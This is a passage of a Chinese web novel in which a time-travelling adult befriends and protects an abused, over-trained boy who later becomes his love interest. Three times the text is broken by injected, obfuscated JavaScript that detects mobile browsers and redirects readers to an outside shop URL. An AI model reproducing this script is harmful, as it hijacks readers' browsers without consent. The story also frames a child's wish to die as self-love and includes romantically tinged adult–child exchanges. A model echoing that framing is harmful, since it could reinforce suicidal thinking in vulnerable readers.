第二天的夜晚训练结束,小沉皑火气冲冲地跑来,对着时咎就发火:“今天来了个叔叔,说我没有能力,想当掌权者还差点,他以为他很厉害吗?” 时咎一下笑出来,伸手去摸他的头说:“你最厉害。” 小沉皑根本不听,生气结束就一直冷着脸,问:“有能力真的就好一点?” 时咎摇头,于是小沉皑接着问:“那要有什么才最好?” 时咎想了想,说:“有爱。” 话都懂,但现实不是这样。 小沉皑每天的生活里增加了一个项目:训练结束后去小树林里和时咎聊会儿天。因为没有别人会来公园,公园的小树林便成了他们的秘密基地,没人知道小沉皑在这里藏了个朋友。 ——小沉皑垂头丧气:“今天好累,不想练了。” 时咎:“休息会儿吧,你看我用树叶摆了你的名字。” 小沉皑纠正:“我叫沉长,不叫沉皑。” 时咎无所谓:“反正你会改的。” ——小沉皑:“今天没达到要求,挨打了。” 时咎生气:“怎么又流血了?过来我帮你处理一下。” ——小沉皑:“我要跟言叔叔去两天文明中心,你别来了。” 时咎:“没事我等你。” ——小沉皑开心:“小久哥哥!文明中心很多人,他们对我很好。” 时咎:“怎么的我对你不好?” 小沉皑:“还可以。” 时咎不爽:“重说。” 小沉皑认真道:“好。” 时咎:“……算了。” 小沉皑及时补救:“你比他们好。” ——小沉皑失落:“腿受伤了。” 时咎:“怎么全是血?我帮你弄。” 小沉皑喃喃:“不想练了。” 时咎:“现在别练了!” 小沉皑叹气:“进去一点,树林,一会儿言叔叔会回来。” ——小沉皑低迷:“我觉得,很痛苦,每次被打被骂都很想死。” 时咎:“我也很痛苦。” 小沉皑不解:“为什么?你又不训练。” 时咎:“但是你训练啊,你痛苦,我就会感觉我也痛苦。” 小沉皑奇怪:“有时候我觉得,你对我好得不真实,为什么?” 时咎淡然:“你会知道的。” 小沉皑追问:“你现在告诉我。” 时咎直接道:“因为我爱你。” 小沉皑:“你好会骗。” 时咎无语:“你看我说你又不信。” ——小沉皑又是气冲冲地跑来小树林:“去他的掌权者!” 时咎:“小沉皑不要骂人。” 小沉皑:“不要叫我沉皑!” 时咎:“不好听?” 小沉皑:“不是不好听!是……是……” 时咎;“嗯?” 小沉皑泄气:“觉得沉长和你的名字更配一点。” 长长久久。 随着时间一天天地过,时咎发现言威给小沉皑拟定的计划越来越苛刻,已经到了近乎变态的程度,除了体能训练,每天还有几个小时的时间在学习书本上,于是小沉皑每天真正属于自己的时间越来越少,哭得越来越多,同样的,受的伤也越来越多,因为言威不允许他懦弱,一旦表现出脆弱,只会迎来更猛烈的惩罚。 时咎无数个时刻都想冲出去和言威打一架。 后来小沉皑的话便少了,一年的时间过得很快,他的身高窜到160,几乎到时咎的脖子。 宁静的夜晚,小沉皑在围栏里包扎好新的伤口,烦躁地就地坐下了。 手还在抖,应该是肌肉训练过度引起的后遗症,已经持续几天,但没用,言威并没有放过他,并且告诉他会这样就是因为强度不够,他的身体还支撑不住,再强一点,就不会抖了。 “砰”一声,拳头重重挥在围栏上,那一块地方瞬间凹陷进去了。 时咎走过来的时候刚好看到的就是这一幕,他问:“怎么了?” 小沉皑冷淡回答:“没怎么。” “又受伤了?” 时咎刚刚过去查看了一圈,发现屋子里的人已经睡下了,不禁感叹,大人都睡了,留小孩一个人在外面训练。 小沉皑将两只手都往身后藏,说:“没有。” 时咎笑了声,侧头假装去看他身后,就看到小沉皑皱眉,身体侧了一下。 时咎发出“啧”的声音说:“我都看到了,你躲什么?” 但小沉皑就是不动,也不愿意把手伸出来,两个人就在这小黄土丘上僵持着。 时咎心想,欺负不过沉皑还欺负不过你这个小屁孩了?于是伸手去拽小沉皑的胳膊,但对方就是使劲不给他看。 小孩这一年力气见长不少,已经不能很轻易提着他走了。还是耗费了一些时间,时咎到底是把他的胳膊给请出来了,不看不知道,撩起袖子一看,密密麻麻全是伤口,各式各样的伤口,明明前几天还没有的,这几天一个不注意,又有了,其中还有相当大的部分不是训练的结果,是被打的。 时咎咋舌:“这……” 不仅如此,时咎去看另一只手,是他刚刚砸围栏的手,此时上面血肉模糊,不知道他用了多大力。 “你……”时咎觉得,不管是小时候还是长大,这个人都是如此的……令人意想不到。 时咎快步走过去拿了急救箱就过来要给小沉皑包扎,然而他直接收回手,后退了两步。 时咎惊愕:“你干什么?” 小沉皑皱眉冷淡说:“我不需要。” 时咎疑惑:“不需要什么不需要?全是血你感受不到痛?” 小沉皑转身想走,被时咎拎回来了,他发现这孩子是叛逆期到了。 结果小沉皑发火了,他吼:“你别管我!” 时咎只觉得莫名其妙的,他不知道前因后果发生了什么,只知道这孩子现在越来越不爱说话,脾气也越来越差了。 不管他是不是发火,但时咎还是保持平静,他说:“我为什么不管你?” 小沉皑瞪他的眼神里都是愤怒,或许还有悲愤,他说:“你以为你是谁?” 哈哈。时咎心里冷笑,好经典的叛逆少年台词啊,时咎几乎是气笑了。他是谁?该不会以为问了这么个问题,他就要开始自我怀疑想,对啊我是谁?我凭什么管他?我有什么资格管他吧? 时咎对他露出一个皮笑肉不笑的表情,轻描淡写地说:“老子是你爹!” 这话一出,小沉皑也愣了,他没想到这个人会如此回答他。 三秒后,一大一小两个人在黄土上打起来了。 小沉皑是拳拳用劲往时咎身上抡,时咎也不惯着他,除了避开他的新伤,其他地方也打到哪算哪。开什么玩笑,虽然不如后来的沉皑,但身手好歹也是沉皑本人一点一点教过的,小屁孩还起劲了? 不过时咎还是低估了他,虽然优势还有,但不多,最后时咎趁着他太着急,出手猛攻的瞬间顺势而为,侧身,借他自己的力把他整个人送了出去。 小沉皑整个人被掀到地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187380|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时咎拍了拍手,走过去蹲下,说:“服气没?” 这一问不要紧,问完了,小沉皑抬起头,时咎就僵在原地了。 他居然哭了。 那满脸愤恨的表情上,一滴一滴的掉的都是眼泪。时咎瞬间脸就白了,他该不会欺负狠了吧?怎么弄哭了? 小沉皑翻身就起来,一句话不说,擦了眼泪朝着愣在原地的时咎就给了一拳。 “咚!”沉闷的声音从他的胸口传来,时咎当下就咳出来了。 这个举动把小沉皑也吓了一跳,他声音力还有些哭过的颤抖,说:“你为什么不躲?” 时咎连了咳了好几声才站直,他的唇微微动了下,只觉得这个画面似曾相识,于是他说:“没事,你打吧,是我不该欺负你。” 这一拳让小沉皑冷静下来了。 他的手被时咎包扎好,白色的缠了一圈又一圈。 公园湖边的草地上,两个人躺着,已经握手言和。 但小沉皑还是很消极,他只是愣愣地看天,小声道:“太痛苦了,训练太痛苦了。”半天,又补了一句,“还好你不逼我训练。” 过了一会儿,小沉皑发现有目光一直在看自己,便转过头。 “为什么一直看我?”他问。 时咎平静地回答:“觉得你很可爱,很喜欢你。” 小沉皑感觉自己的拳头瞬间就握紧了,好像这样就感觉不到心脏也同时被抓紧了一般。 他快速转回头,平复了一下刚刚猛跳了两下的心跳,说:“我不喜欢我。” “嗯?”时咎撑着身体坐起来了,他问,“为什么?” 小沉皑张嘴,似乎想到了什么不好的事,泄气般用胳膊去捶地,说:“哪有那么多为什么?觉得痛苦,觉得累。” 时咎点头,他认同这些话,若是换个人,早被这种高强度训练折磨疯了,但他没有说出“这是你自己的选择”这样的话,虽然是事实,但对一个处于消极里的人来说,自以为清明地说出某些实话,其实是一种潜意识的恶。 小沉皑接着说:“特别是最近,越来越想放弃了。” 他说话的时候眼睛是闭上的,呼吸也是缓慢的,好像真的在模仿一个死去的人躺在这里。 时咎伸手去摸他的头发,说:“想继续就继续,想放弃了就放弃,我都陪你。” 小沉皑的眼睛倏然睁开,他疑惑地看着时咎,好像有什么从来没有感受过的情绪在向他的内心奔涌。 他们相处一年了,这一年里,小沉皑把这个形迹可疑的人当成了自己唯一的朋友,训练结束后可以帮他治疗伤口、陪他聊天的朋友,开心难过都可以分享心事的朋友,生气发脾气也处处包容他的朋友,虽然这位朋友也是在这儿等着他的朋友们,但小沉皑认为他跟自己的关系一定比那群已经不在了的朋友好。 小久哥哥很重情重义,自己也可以做他的朋友,换位思考,如果自己有哪一天失去了这个朋友…… 小沉皑没往下想。 他歪着头,消极说:“我有时候会怀疑我的决定是不是正确的,因为离开家后,我发现有的事不是按我想象中去做就会成功,甚至完全不一样,如果我选错了,我一定会恨我自己。” 时咎想都没想,笑道:“可能有时候你会怀疑一切,但你始终爱着自己。” 说完他只感觉自己的心脏猛地一抽,眼前霎时一片白,五指用力抓住草地才让自己没有因为眩晕而躺下去。 这句话,竟然是他自己说的,他当时还不理解为什么沉皑会突然说这么一句话,他……记了这么久! 89. 第 89 章 小沉皑的目光在星空里。 他嘟囔了一句:“我不爱自己,有时候只想死。” 时咎觉得自己的手有些抖,他的头“嗡嗡”好半天才像汹涌的浪退去般平息,随后他露出了一个不被人察觉的、无奈的笑容。 他深呼吸一口气,为了不让小沉皑看出异样,笑着缓缓道:“想死,不正是你对你自己生命的热爱吗?” 小沉皑感觉自己听不懂。 时咎接着说:“人生是自己的,可是却有人用你无法反抗的手段束缚你的人生,为了向这个世界证明,你属于你自己,为了告诉所有人,看,我的人生是我的,因为我想让它消失它就能消失,不就已经说明,你如此热爱着自己吗?” 小沉皑的目光从星空转移到了时咎脸上,他眨眨眼说:“我听不懂。” 时咎“噗”一下笑出来:“听不懂就算了,心理学的辩证方式。” 小沉皑点头,问他:“那你刚刚说的是真的吗?” 时咎:“什么?” 小沉皑一字一句认真道:“坚持和放弃都会陪我?” “当然。”时咎一点不含糊。 小沉皑不死心,他依然追问:“如果你的朋友们都回来了,你还会来这陪我吗?” 时咎愣了一下,好久才想起自己曾经撒的那个不存在的谎,他没想到这小孩居然还记得。 “还会吗?”见他不回答,小沉皑的追问逼得更紧了。 “会。”时咎认真道,他从来没这么认真过。好像有个小孩子捧了颗炽热的真心给他,那心脏温热跳动,想送给他,又怕自己不珍惜。 时咎说:“只有你最重要。” “只想你可以平安健康地活着。” “现在和未来,都会爱着你。” 也许只是年少时懵懂想要的承诺,也许只是无尽苦痛里的一点光,但被承诺、被喜爱,本身已经让人雀跃欢喜,无论这在当时看来多荒唐。 小沉皑当时并不懂为什么这个人会突然给了他如此珍重的承诺,不知道这里面包含了什么故事,他只觉得,这个人很好!想一辈子在一起。 时咎给的承诺是他真诚的承诺,他没有太细想那对一个小孩子来说意味着什么,会不会有更复杂的情绪,他当时只是想:无论是过去、现在、未来,我都会陪你。 但对于沉皑来说,当下的感动和往后的痛苦是并存的——哪里有一辈子陪他的朋友? 湖水的声音也静悄悄的,静得像无处安放的心事。 很久,久到虫鸣鸟叫都累了。小沉皑突然抬了下手,小声说:“谢谢你。” 星空下,那个人说了些他听不懂的话,他记得这片星空,也记得他说的那些话,像海底的满月终于破空而出高悬天空,变成一艘船,扬着帆,淌过汹涌的时间。 后来沉皑时常想起那个夜晚,但那个夜晚又像入水的月亮,伸手触碰,却只能惊动一圈一圈的涟漪,在心里无限扩大。 湖水也不甘它的倒影里只有一人,便短暂带来你,又让你离开。 小时候的季水风和季山月被接回来的时候,两个孩子都是灰头土脸蓬头垢面的,特别是季水风,她浑身都是伤口,永远一言不发。 “季水风。” 言威在屋子里叫她,然而没人回答,于是言威又叫了一遍;“季水风?” 还是没人回答。 时咎站在公园门口偷偷听里面的动静,在知道季山月和季水风过来的时候,他几乎是立刻就关注过来了。 半晌,夏癸的声音出现了,她温柔地说:“季水风?” “啊?”一个女孩的声音懵懂地响起,随后结巴着说,“我,怎,怎么了?” 夏癸说:“没事,看你身上都是伤口,多注意休息。” “好的谢谢阿姨。”季水风的声音非常局促和不安,似乎对这新到的地方感到害怕。 一个男孩的声音说:“姐!别怕!以后我保护你!不会有人打你了!” 季水风没回答。 言威说:“好了,你们刚来,让夏阿姨带你们玩玩吧,家里、公园、附近都可以,明天沉长训练完我带你们去认识他。” 季山月说:“好!” 几乎听不到季水风主动说话。 如果没有记错,季水风讲过,她当时和养母的大女儿打架后在医院住了很久,不负责的父母会带给孩子多大的心理阴影啊。时咎想得出神。 “你怎么一直偷听他们讲话?”小沉皑冷不丁地出现在身后,无声无息吓时咎一下。 时咎连忙对他做出“嘘”的手势。 然而小沉皑只是冷脸看他一眼,便不爽地推门进去了,一句晚安也没有说。 时咎心想:我惹他了? 接连几天,时咎都一直在关注季山月的动向,但他们刚来不久,言威似乎并没有打算这么快让他们也投入训练,更多的时间是在屋子里聊天,或者夏癸带他们玩。如果在聊天,时咎基本就在门边偷听墙角。 这几天的结论大概是,季山月看上去一切正常,但季水风的性格和记忆里的完全不一样,她似乎不太爱说话,也有点愣,叫她经常不答应,可能是常年在那种家庭被虐待的后遗症。 姐弟俩也会到公园里来,季山月多数时间是看沉皑练习,而季水风多数时间是一个人呆在湖边,她格外喜欢看湖面,一坐就是几个小时,临近走的时候季山月会去叫季水风,通常季水风都会很久才回应。 生活在那样的家庭里,发生了那样的事,又到了一个陌生的环境,这样的性格表现是可以被理解的。倒是季山月小时候和长大后没什么区别,没心没肺的。但是……那个时候攻击沉皑的季山月似乎不是这样的性格,他的眼神都跟平时不太一样。 到底是发生了什么…… 刚好是晚上言威已经看过了今天小沉皑的训练成果,公园怕是不会有人再来了,于是时咎就又站在门边听。 夏癸的声音:“还习惯吗这段时间?” 季山月说:“习惯,我喜欢这儿!安静。” 夏癸继续说:“有什么住不惯的要说哦。” 季山月:“好!” 夏癸:“季水风呢?” …… 夏癸又问了一遍:“季水风?” 季水风的声音才猛然传来:“啊?” 夏癸也不恼,柔和道:“没事,慢慢来。” 季水风小声道:“好的。” “轰——” 什么东西倒塌的声音,时咎当即转头,看到黄土边缘的围栏被小沉皑硬生生打塌一段,但他表情非常平静地转身训练,好像刚刚那也是他训练中的一环。 于是时咎继续偷听。 夏癸说:“如果有不开心的事告诉阿姨,说不定阿姨可以帮你们。” 季山月说:“我没有不开心的事。” 季水风:“……嗯。” 夏癸:“你们这两天和沉长相处得怎么样?” 季山月说:“他不爱说话。” 夏癸笑了一下,笑得很好听,她说:“训练很辛苦的,有时候会没有精力再多做别的事,回头你们一起训练,一起互相帮助就会熟悉起来。” 季山月:“好!那我明天去给他买个小礼物吧?” 夏癸问:“想买什么?” 还没听到回答,时咎就感觉自己的胳膊被猛地一抓,接着整个人被翻过身狠狠按到了阴影里的墙上,“砰”的一声闷响,后背用力撞了上去,随即双手便被固定在胳膊两侧。 熟悉的身影和味道,以及训练完尚未平复的呼吸与心跳,一点不差地涌过来。 时咎一开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他确实没有考虑到这一层。时咎只得道:“不感兴趣,闲得没事听听墙角罢了,另外你能不能放开我?” 小沉皑还是愤恨保持了一会儿,直到时咎发出了“嘶”的倒抽气声才放开,他退后了一步,半张脸终于出现在了微光里,脸上的不爽藏都没藏。 时咎揉了下自己的手腕,对小孩强大的占有欲有些无奈。几岁的孩子还处于圈地盘的阶段,最开始是母亲,后来是最亲的家人,再长大就是自己的玩具、朋友、恋人。但沉皑这几岁的小孩子的心思跟他明显不可能一样,现在的沉皑,对他顶多是出于对类似玩具、朋友一样的占有。 虽然手放开了,但小沉皑没有打算给时咎让路,就把他堵在这个小小角落里,盯着他,气鼓鼓的样子给时咎看笑了,他想抬手去捏小沉皑的脸,被躲开,只听小沉皑冷漠说:“你要闲得没事,明明可以找我聊天。” 明明这一年多都是这么过来的,为什么来了别的人就变了?小沉皑越想越气。 时咎望天,叹气:“你的训练任务这么重了,我怎么找你聊天?” 小沉皑似乎更生气了,他往前走了一步,又逼近时咎,咬牙说:“那我可以少练会儿!” 时咎觉得不能这么继续说下去了,这小孩说话显然开始不管不顾了。这让他很难办,不想让小孩子不高兴,可沉皑又难得可爱,自己和长大后的他绝对不会有这么直接的对话的,最多在时咎给出第一个回答后,就“哦”一下结束了。 逗下小孩吧,一会儿再哄。时咎忽然间笑了一下,小沉皑冷漠看着他,于是时咎点点头,开玩笑般说:“可是那样你会被你的言叔叔骂哎!” 对方沉默片刻,郑重道:“挨骂就挨骂,陪完你再说。” 得,被逗的到底是谁?时咎只觉得自己的心跳突然有点不受控制加速,“砰砰”的在耳边,自己都能听得无比真切,又很快被他压下来。疯狂安慰自己说小孩子说话不过脑,没有别的意思,只是真心为他付出说的实话,不要多想了,不然会很像有什么特殊癖好。 90. 第 90 章 虽然很高兴听到他这么说话,无论出于哪种心态,被他圈进自己的地盘,成为他的占有欲对象也是件让人心情愉悦的事。但这不是重点,重点在于,照顾他的心情可能会错失很多有用信息,但季山月和季水风的信息他不能错过太多。 这难办了,怎么沉皑小时候这个样子啊? 思来想去,时咎先答应了,因为他忽然发现不管是眼前这个小孩,还是二十年后的沉皑,将真心实话说出来的时候,都让他没有还手之力。 小沉皑终于退步,让出了通道供时咎走出来。 “所以你现在是不是该去休息了?”时咎松了口气问。他往前走了几步,环视公园,已经不早了,再不休息就睡不了多久了。 哪知小沉皑一把扯住他的衣服,阻止他走远,在时咎转头疑惑的目光里,眼神坚毅地盯着他说:“我再练一次攀爬,你帮我记时间。” 时咎觉得这是完全没必要的事,但还是答应了,半分钟的事。于是两个人又走到那片黄土里,假山下。 时咎朝他示意说:“那你要快一点,我倒数三秒,你就冲,好吗?” 小沉皑冲他点头,做好了准备的姿势。 时咎轻声:“3。” “2。” “1。” “冲!” 小沉皑飞一样窜出来,直接贴上了假山,速度快得比第一次看到不知道灵活了多少。看到他这攀爬的速度,时咎才惊觉当时他们在洞穴沉船里攀爬时,沉皑应该是完全为了顾及他才慢慢爬上去的。 一手接一脚,小沉皑一秒都没有停顿,爬到十多米高的位置按理说还会有一个一跃而下,翻滚落稳的姿势,但不知道他在想什么,当小沉皑就差最后一步到达顶端的时候,他没抓稳,整个人直直从上面腾空掉下来了。 时咎在下面看着,只觉得自己心脏被猛揪了一下——这山很高!他以最快的速度冲过去,刚好在小沉皑快要落地的瞬间接住了他,顺势往前翻滚来缓冲掉下来的力。 两个人滚了很多圈,时咎一直把小孩固定在怀里,怕他受伤,直到两个人撞到边缘围栏,发出“砰”的一声闷响。 痛得时咎眼冒金星,但还好是他的身体先撞到。时咎龇牙咧嘴还保持着死死环抱着小沉皑的动作,先安慰性地摸了摸他的头,再把对方从怀里扯出来。 “没事吧?伤到哪里没?”时咎问,焦急的眼神落在小孩脸上。 然而,小沉皑从他怀里探出头时,一点表情都没有,可以说是相当平静,同时也相当不自然地、重重地、点了下头。 时咎当下就知道自己被耍了,这小孩是故意的,他就是要让自己去接他! 心机重得不是一点半点! 这下时咎真的咬牙切齿了,身体的疼还没消失,心里的恨又涌上来了。他维持着坐在地上双手环抱小孩的姿势,露出一个又痛又强装微笑的难看表情。 他很痛。小沉皑脸上很快就出现了愧疚,他连忙从时咎怀里站起来,有些脸红地说:“对不起。” 时咎只能叹气,装做无奈:“没事,只要你安全就好。” 小沉皑震震地看着他,愧疚的神色更浓了,他沉默一会儿,埋头说:“我好像,把你眼镜链扯坏了。” 嗯?时咎立刻抬手去摸,才发现刚刚不知道是哪个环节,自己眼镜的链子已经不见了,断了一头,链子上的珠子也都掉了,掉到黄土里,现在看过去,一个也看不着。 时咎伸手去捏他的脸,并且成功捏到,他轻声说:“不重要,我之后重买就行。” 小沉皑微微抬头,不确定道:“你不生气吗?我是故意掉下来的,而且你的链子……” 闻言,时咎实在忍不住,笑出来了。怎么还有人承认自己故意的承认得这么光明磊落啊,故意掉下来,又不小心扯断他的链子。 时咎柔和说:“我说了,你安全就好,其他不重要。” 小沉皑似乎也觉得自己过分了,他一咬牙,说:“对不起!就是不喜欢你那么关注别人!” 哎…… 时咎突然觉得,自己真的很适合带小孩,瞧这带出来的孩子。他抬手摸小沉皑的头发,真的无奈道:“我不关注他们,我只关注你。” 接着,时咎看到小沉皑的脸肉眼可见地红了。 时咎麻木道:“沉先生,你脸红做什么?你这样搞得我真的很想欺负你。” 原以为他会怒气冲冲说点什么,结果,小沉皑的手拽紧了他自己的衣角,说的话几乎是从牙缝里挤出来的,他小声又快速地说:“那你快点!” 时咎彻底惊呆了:“……啊?” 小沉皑突然转身一溜烟跑了。 时咎还没从震惊里缓和出来,正当他要站起来,小沉皑又从屋子里推门出来了,他急急忙忙跑过来,回来的时候手里拿了张纯白的硬纸。 他又在原地坐下来,开始认真捣鼓那张硬壳纸,折叠出几道折痕,又按照某种排列方式全部拼接在一起,最终折成了一个小盒子。 时咎看他认真的神情,问他:“你折这个做什么?” 小沉皑朝他挥了挥手,他的手捏成拳头,好像在展示拳头里有东西,但并不给时咎看,随后他把拳头里的东西轻轻放到刚叠好的盒子里,又盖上。 小沉皑认真说:“折这个放一个很重要的东西。” 他四下望了一圈,皱眉说:“不知道藏哪。”想藏一个除了自己一定不会被人发现的地方。 时咎没在意,平静给他提建议说:“如果找不到地方藏,可以埋土里。”他想了想又接了一句,“重要的东西的话,埋在土里也代表深藏在心。” 小孩似乎觉得有道理,但又觉得不太好,他依然皱眉问:“那埋土里脏了,以后送出去,人家还要吗?” 时咎伸了个懒腰,抬头看这已经黑得快要滴下来的夜色,心里叹口气想,这孩子明天早上八成又是一副困倦的样子来训练了。 小沉皑催促:“回答我!” 时咎低头垂眼,心里只想着怎么让这小屁孩快点去休息,于是敷衍道:“为什么不要?重要的是心意不是物品本身。” 小孩沉吟片刻,将那个硬纸做的盒子塞到时咎手里,警告说:“那我挖个坑把它埋起来,你先帮我拿着,不许打开不许看!” “嘁,谁要看……”时咎感觉自己的脑子突然不受控地眩晕,笑着笑着脸就僵硬了——他反应过来了。 那小盒子拿在手里,手稍稍偏移一点重心,里面的东西似乎就在来回滚动,它很轻,轻得快要感觉不到。 刚刚一直没有在意,一是想着他到底什么时候休息;二是之前见到这个小盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187382|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子时,因为时间太久,早已不是纯白色,轮廓还歪歪扭扭的,所以没认出来。 小沉皑拿双手挖坑挖得很认真,头也没抬。但时咎只是愣愣地看着,他感到自己的呼吸突然完全不在拍子上,混乱得一塌糊涂。 挖了很深一个小坑,小沉皑转过头把小盒子从时咎手里拿过来,拿走的时候发现时咎在发愣,还警敏地问:“你没看吧?” 时咎僵硬:“……没看。” 小孩这才满意回头,把小盒子轻轻放进坑里,又一点点埋起来,拿土去填平。 时咎感觉自己的手指不自然地蜷缩起来,那晚的记忆全部奔涌而来。 他没注意到过,他怎么能没想到?时咎的手不受控般摸了下自己的眼镜,那一侧断掉的链条只剩一根线了,原本是有很多小珠子的,虽然基本都是透明的塑料珠子,但有一颗不是——是他特意为了搭配镜框的颜色而去选的一颗真正的蓝宝石。 他当时只是觉得眼熟,因为那个时候眼镜在家,也没有被扯断,蓝宝石完好无损,所以完全没有朝这个方向想,不可能这么想的。 他不知道他俩的渊源,他没有记忆,他不记得沉皑是谁,不记得他们曾经发生过什么,但沉皑全部记得!沉皑记得这两年他们发生的所有,因为这是沉皑的过去,却是他的未来! 在那个不知情的当下,他从未来回到了沉皑的过去。 所以一个几乎没有情绪的人,在第一次见面的时候,他依然情绪汹涌地问出了那句:是你? 但过去的自己却全然不知。 原来,原来…… 时咎突然感觉有些喘不上气,他由坐着变为跪着,往前走了两步,死死盯着那个刚刚被小沉皑填平的坑,再抬头,看向那双清澈的深蓝色眼睛,声音有些颤抖,也有些急切地说:“等你长大了,如果遇到你爱的人,能不能把他带来这里,把这个东西挖出来送给他?” 小沉皑一下愣住,没反应过来时咎在说什么,等他将这句话理解好了后,他有些懵地说:“我本来就是这么打算的啊,我只是担心埋土里,到时候挖出来都是土,他会嫌弃……” “他不会嫌弃。”时咎打断道,“他会知道的。” 说到这,时咎想给自己一巴掌,因为他想起了自己当时说的话,他说出“埋了多少年的东西也敢往我手里送”这种混账话!现在回想起来,他都不敢细想沉皑当时的表情。 沉皑当时在想什么?难怪,难怪他当时表现那么反常,莫名其妙要来公园转转,要走了却又倒回来说他在这儿藏了东西,问他藏什么他还说不知道,现在想来,他的一举一动都不对劲!他从一开始就在蓄谋着把这份深藏的礼物送出来! 他当时说:喜欢就送你了。 他还说:不想要也可以还我。 多莫名其妙的一个夜晚,多匪夷所思的一系列行为。 在这之前,时咎一直觉得现在小只的沉皑就是一个什么都不懂的小屁孩,再对他说喜欢、说爱,都可以是另一种意思,可以是另一个身份,但他从未想过这个小孩会把这些东西记下来、藏起来,当作自己真正的心事,在这个夜晚埋进土里。 当时自己还调侃他埋了多少年的时候,沉皑如此认真地回答他说:二十年。 这埋的哪是蓝宝石,分明是他埋了二十年的真心。 91. 第 91 章 以为小孩子不懂的,以为是小孩子过家家般的心境的。 时咎绝望地闭上眼,再睁开。见小沉皑依旧是愣愣地看着自己,时咎深呼吸一口气,非常严肃地伸手把住他的双肩,对他说:“以后,你把你爱的人带来这里,把这个送给他,他会懂的,如果他实在不回答,你就直接告诉他,让他给你一个答复,听懂没?” 小沉皑眨眨眼:“告诉他什么啊?” 时咎不自觉提高了音量:“告诉他,你喜欢他,你爱他!直接说!” 小沉皑不咸不淡:“哦。” 操!算了。 时咎无语放弃了,反正最后他也还是没说,教他追自己教到这个地步都学不会! 下一秒,一双手便环抱上来,时咎僵在原地,他听到小沉皑闷闷的声音说:“小久哥哥,你很温柔,我很喜欢你,等我长大了带你来的时候再说一遍。” 时咎:“……” 时咎内心有些崩溃地想:那你倒是说啊,你现在说什么啊!我死了算了!! 他们三个开始一起训练,一起读书,但基础差太多,沉皑总是在等他们,好在后来的两个小孩也很刻苦。唯一不变的是,季水风好像依然很孤僻。 她喜欢一个人呆着,训练结束通常第一个跑进屋子,或者一个人跑到湖边坐着,但因为她也时常在公园里独自徘徊,所以时咎和小沉皑见面的时间少了,不能再像以前一样肆无忌惮包揽整个公园。 “她经常一个人在这里。”小沉皑压着声音说。 两个人躲在树林里,借着树木的阴影隐藏自己的身形。时咎皱眉看着季水风的背影,只得轻轻叹气,他告诉小沉皑:“她之前经历一些不太好的事,你要多照顾她。” 小沉皑:“哦。” 季水风跪坐在湖边,一直看着自己的倒影喃喃自语,时咎听不清,于是朝小沉皑示意,两个人走近了些才听到她到底在说什么。 “季水风,你是一个很坚强的人。” “季水风,不能哭,都过去了。” “以后都会好的,你会好的。” 时咎越听越觉得心疼,他默默地说:“你以后会是最好的季水风。” 小沉皑听到,转头看向时咎,愣了一下说:“你是不是也很喜欢她?” 时咎将手指放在唇上示意小沉皑不要说话,便带着他离开了湖边的区域,回到他俩秘密的小树林深处。 小沉皑一路盯着他,语气逐渐趋于不爽:“你也喜欢她吗?” 时咎伸手捏了下他的脸,在树叶上原地坐下,顺手把开始生气的小沉皑也拉着坐下来。瞧他又开始吃醋的神情,无奈笑了下,只得向他解释:“不是你想的那种喜欢。” 小沉皑一听,就“噌”的站起来了,他想攻击人,但不想攻击时咎,便拿脚踢了一下树叶,看着被他扬起的一片绿色,愤怒道:“你是我的!” “好。”时咎举起双手做投降状,柔和说,“我是你的。那接下来的话还要听吗?” 于是小沉皑又坐下来了。时咎说道:“我是很爱她,但跟爱你不一样。爱是一种很广泛意义上的东西,并不拘泥于个人对个人,它本身很伟大。就像你刚刚踢了树叶,我觉得很心疼,因为我爱自然;季水风经历很多很难的事,我心疼,也是发自于爱,但这是具体到个人的大爱,我希望她好,希望她自由,希望她能成为自己想成为的人,但我不干涉、也不介入她的人生,甚至我们可以完全没有交集,我们和世界上很多没有交集的人都可以有爱、有心。” “那你爱我和爱他们有什么区别?”小沉皑不开心问。 时咎想了想说:“区别在于,在希望你好的基础上,我也想和你的生活有交集吧。” 他说这话的时候脑子里浮现的都是那张棱角分明的脸,还有望向他时、深邃的蓝色眼睛,还有那天夜里不自然递给他从土里挖出来盒子时、强装镇定的神情。 小沉皑舔了舔嘴唇,目光瞥向刚刚被自己踢散的树叶,又看向刚刚季水风的方向。 时咎笑说:“你说,你觉得隐居不能给文明带来福祉,是不是你对整个文明的爱?是不是对文明里每个个体的爱?因为你也希望他们好。” 小沉皑点头,于是时咎问他:“所以你对我来说依然独一无二。现在还生气吗?” 小沉皑继续点头:“生气。”但立刻嘟囔着接道,“没那么生气了。” 他说:“我父母以前经常跟我说这些,言叔叔也说过,但我喜欢你说的。” 时咎摸了摸他的头发说:“所以如果我不在,以后你也要照顾好她。” 小沉皑警觉地问:“什么意思?你要走?” 时咎张嘴,没说出话。因为他最近开始觉得时间到这儿应该差不多,曾经见到沉皑,他是有记忆的,但见到季山月和季水风他俩都是像陌生人一样,所以他们小时候必然没有见过面。如果三个人长期在同一个空间里生活不可能一点没有察觉,但他俩确实一点没有察觉,解释就只有一个:姐弟俩来后不久,他就走了。 